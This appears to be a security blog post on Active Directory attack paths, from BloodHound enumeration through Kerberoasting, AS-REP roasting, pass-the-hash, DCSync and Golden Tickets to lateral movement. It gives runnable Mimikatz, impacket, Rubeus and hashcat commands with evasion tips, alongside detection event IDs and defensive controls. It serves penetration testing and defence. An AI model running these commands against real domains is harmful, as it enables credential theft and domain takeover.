> Active Directory Attack Paths: From User to Domain Admin_

Active Directory is the backbone of most enterprise networks — and the most attacked component in almost every real-world breach. Once an attacker has a low-privilege domain user account (often obtained through phishing), the path to Domain Admin is frequently measured in hours, not days.

This post walks through the most effective attack chains: what they are, how to run them, what evidence they leave, and how to stop them.

## The starting point: what you need

Most AD attacks start with a valid domain credential — any user account works. You get this from:

>Phishing (credential harvest page or malicious attachment)
>Password spray against OWA/VPN/RDP (common passwords: Company123!, Welcome1, Season+Year)
>Anonymous LDAP or SMB enumeration on some older configs
>Compromising a workstation and extracting cached creds

From here, the goal is almost always Domain Admin or Domain Controller compromise.

## Step 1: Enumeration with BloodHound

Before attacking anything, map the environment. BloodHound ingests AD data and draws attack paths as a graph.

Collect data with SharpHound:

terminal

# Run from a domain-joined machine as any domain user
.\SharpHound.exe -c All --zipfilename bloodhound.zip

Or from Linux with bloodhound-python:

terminal

bloodhound-python -u lowpriv -p 'Password123' -d corp.local -dc dc01.corp.local -c All

Import the ZIP into BloodHound and run these built-in queries:

>Shortest Paths to Domain Admins — the money query
>Find Principals with DCSync Rights — who can replicate AD
>Kerberoastable Users — accounts with SPNs set

BloodHound will show you paths like:

terminal

lowpriv → MemberOf → HelpDesk → AdminTo → WORKSTATION01 → HasSession → svc-sql → MemberOf → Domain Admins

That's a four-hop path to DA from a low-privilege user. This exists in most environments.

## Step 2: Kerberoasting

Any domain account can request a Kerberos service ticket for any account with a Service Principal Name (SPN) set. That ticket is encrypted with the service account's NTLM hash — and you can crack it offline.

Who's vulnerable: service accounts with SPNs (SQL Server, IIS app pools, backup agents, etc.) that have weak passwords.

Attack:

terminal

# From Linux with impacket
GetUserSPNs.py corp.local/lowpriv:Password123 -dc-ip 192.168.1.10 -request -outputfile kerberoast.hashes

terminal

# From Windows with Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

Crack offline:

terminal

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt --rules-file best64.rule

Why it works: The TGS ticket is encrypted with RC4 (or AES, but RC4 is still common) using the service account's password hash. Offline cracking avoids detection entirely.

Detection: Event ID 4769 (Kerberos Service Ticket Request) with Ticket Encryption Type: 0x17 (RC4). High volume of these from one source = Kerberoasting. Honeypot SPNs trigger on any single request.

Fix: Use strong, random passwords (25+ chars) for service accounts. Switch to Managed Service Accounts (gMSA) which auto-rotate and are 256-char random.

## Step 3: AS-REP Roasting

Similar to Kerberoasting but targets accounts with "Do not require Kerberos preauthentication" enabled. You don't even need credentials to start.

terminal

# No credentials needed
GetNPUsers.py corp.local/ -dc-ip 192.168.1.10 -usersfile users.txt -no-pass -format hashcat

The response contains an encrypted blob crackable with:

terminal

hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt

Detection: Event ID 4768 with Pre-Authentication Type: 0. Accounts with preauthentication disabled are rare and should be audited.

## Step 4: Pass-the-Hash

Once you have an NTLM hash (from Kerberoast cracking, LSASS dump, or SAM dump), you can authenticate as that account without knowing the plaintext — Windows accepts the hash directly.

Dump LSASS for hashes (requires admin on target):

terminal

# Mimikatz
privilege::debug
sekurlsa::logonpasswords

# Or more stealthy via Task Manager: create dump → transfer off target → parse offline

terminal

# Parse offline with pypykatz (no AV trigger)
pypykatz lsa minidump lsass.dmp

Use the hash:

terminal

# SMB with impacket
psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:NTLM_HASH corp.local/Administrator@192.168.1.20

# CME for quick validation
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH

Detection: Event ID 4624 Logon Type 3 (network) with NTLM authentication when Kerberos is expected. sekurlsa::logonpasswords triggers on LSASS reads — EDR products and Credential Guard block this.

Fix: Enable Credential Guard (Windows 10+) which moves LSASS into a virtualisation-based security (VBS) enclave. Enforce Kerberos everywhere. Restrict local admin proliferation with LAPS.

## Step 5: DCSync

If an account has Replicating Directory Changes and Replicating Directory Changes All permissions (default: Domain Admins, Enterprise Admins, Domain Controllers), it can simulate a Domain Controller and pull password hashes for every account — including krbtgt.

terminal

# With a DA/compromised account that has DCSync rights
secretsdump.py corp.local/svc-backup:Password1@192.168.1.10 -just-dc-ntlm

terminal

# Mimikatz
lsadump::dcsync /domain:corp.local /all /csv

This dumps every account's NTLM hash. From here you can:

>Pass-the-Hash as any user
>Create a Golden Ticket from the krbtgt hash (unlimited DA access, survives password changes)

Golden Ticket (persistent DA access):

terminal

# Mimikatz — requires krbtgt hash
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt

Detection: DCSync from a non-DC IP generates Event ID 4662 with specific GUIDs. Monitor for DS-Replication-Get-Changes-All rights requests from unexpected sources.

## Step 6: Lateral Movement

Once you have credentials or hashes, move laterally to find DA sessions or more privileged accounts.

terminal

# Find where DA accounts are logged in
crackmapexec smb 192.168.1.0/24 -u lowpriv -p Password123 --loggedon-users

# WMI exec (Event Log ID 4688 - process creation)
wmiexec.py corp.local/svc-admin:Password1@192.168.1.30

# PsExec (noisier - creates a service)
psexec.py corp.local/svc-admin:Password1@192.168.1.30

Detection: Look for lateral movement patterns in Event Logs:

>4624 Logon Type 3 from unusual sources
>7045 — new service created (PsExec)
>4688 — cmd.exe or powershell.exe spawned by unexpected parents (WMI, WinRM)

## Quick wins for defenders

Control	What it stops
LAPS (Local Admin Password Solution)	Pass-the-Hash across workstations (unique local admin passwords)
Credential Guard	LSASS memory dumps
gMSA for service accounts	Kerberoasting (128-char random auto-rotating passwords)
Tiered admin model	Lateral movement from Tier 2 to Tier 0
Disable NTLM where possible	Pass-the-Hash entirely
Monitor Event ID 4769 RC4 tickets	Kerberoasting
BloodHound (defender mode)	Find and fix attack paths before attackers do
Protected Users security group	Disables NTLM, RC4, credential caching for DA accounts

The single highest-ROI control: LAPS + Credential Guard + Protected Users for DA accounts. These three together break the most common attack chains.

## Tools summary

Tool	Purpose
BloodHound / SharpHound	AD attack path mapping
Impacket	Python AD/SMB/Kerberos toolkit
CrackMapExec (CME)	Network-wide credential testing
Rubeus	Kerberos attack toolkit (Windows)
Mimikatz	Credential extraction (Windows)
pypykatz	Mimikatz-like but Python (Linux/offline)
Hashcat	Offline hash cracking
Kerbrute	Username enumeration, password spray

Active Directory exploitation isn't magic — it's misconfigurations and weak passwords at scale. Most of what's described above works against fresh Windows Server installs with default settings. The attackers know this. Now you do too.

root@sovietghost:/blog/037-active-directory-attacks# ls -la ../

← Back to blog index